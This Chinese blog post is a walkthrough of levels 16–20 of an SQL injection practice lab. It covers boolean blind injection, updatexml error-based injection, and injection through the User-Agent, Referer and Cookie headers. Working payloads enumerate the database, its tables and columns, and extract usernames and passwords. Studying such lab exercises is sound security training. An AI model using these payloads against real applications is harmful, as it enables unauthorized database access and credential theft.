SQL注入靶场(16-20关)

第十六关(布尔盲注)

1.查看本关源码

通过源码可以猜测本关的闭合方式为 ")

2.判断注入点

1") or 1=1#

1") or 1=2#

可以进一步验证注入点为 ")

3.猜数据库长度

1") or length(database())>7#

1") or length(database())>8#

测试得知,数据库长度大于7页面正常,大于8页面异常

4.猜数据库库名

1") or ascii(substr(database(),1,1))>114#

1") or ascii(substr(database(),1,1))>115#

这样我们就可以得到数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为 security

此外我们还可以使用bp抓包爆破库名

1") or ascii(substr(database(),1,1))=115#

这样我们也可以得到数据库库名为:security

5.猜表名

第四张表名

1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>117#

发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’,通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users

此外我们还可以使用bp抓包爆破库名

1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#

其中payload1表示第几张表(从0开始),payload2表示第几个字母

这样我们也可以得到这几张表的表名,第四张表为:users

6.猜字段名

1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>117#

猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字,得到username,password

7.猜具体数据

1") or ascii(substr((select password from users limit 0,1),1,1))>67#

1") or ascii(substr((select password from users limit 0,1),1,1))>68#

猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字

第十七关(报错注入)

1.查看本关源码

通过源码我们得知当我们输入数据进去时,会先查询users表与我们输入进去的用户名对比,如果没有这个用户,就会告诉你;相反他会检查用户名

2.本关思路

首先在页面发现与上一关不同的是有了[PASSWORD RESET] ,这个意思是密码重置。所以极大可能这一关是密码会与数据库交接,注入地方应该优先在password下手。因为是密码重置,那么肯定是要有自己的用户,这里我用admin用户来演示,也就是对admin用户进行密码重置。一般像修改密码、插入数据等操作都是无回显内容的,所以大概率是不能简单注入的

页面输入admin,密码随便写一个123456来登录我们打开BP抓包,抓到放到重放器上边

由于本关考验密码重置,所以在passwd后面判断闭合方式

3.判断注入点

123456'

页面报错,说明注入点为 '

4.获取数据库名

123456' and updatexml(1,concat(1,database()),1)--+

数据库名称为:security

5.获取表名

123456' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

6.获取字段名

123456' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

7.获取数据

123456' and updatexml(1,concat(1,(select group_concat(username) from users)),1)--+
123456' and updatexml(1,concat(1,(select group_concat(password) from users)),1)--+

第十八关(UA注入)

1.打开sql注入靶场第十八关

2.使用admin登陆并抓包

3.发送到重放器并页面渲染

4.测试是否存在SQL注⼊

在User-Agent字段处测试

存在sql注入

5.报错注⼊函数获取其当前数据库名

第十九关(Referer注入)

1.打开sql注入靶场第十九关

2.使用admin登陆并抓包

3.发送到重放器并页面渲染

4.测试是否存在SQL注⼊

在Referer字段处测试

5.报错注⼊函数获取其当前数据库名

 第二十关(Cookie注入)

Cookie:服务端⽤来记录客户端的状态。由服务端产⽣,保存在客户端浏览器中!但服务器收集 ⽤户的Cookie信息时会存在注⼊。

1.打开sql注入靶场第二十关

2.使用admin进行登陆并返回Cookie信息

3.打开代理,刷新⻚⾯并抓包

4.发送到重放器并页面渲染

5.测试是否存在SQL注⼊

在Cookie字段处测试

存在sql注入

6.采⽤报错注⼊函数获取其当前数据库名

' and updatexml(1,concat(1,database()),1) and '

7.爆出表名

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '

8.爆出字段名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '

9.获得数据

' and updatexml(1,concat(1,(select group_concat(username) from users)),1) and '

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值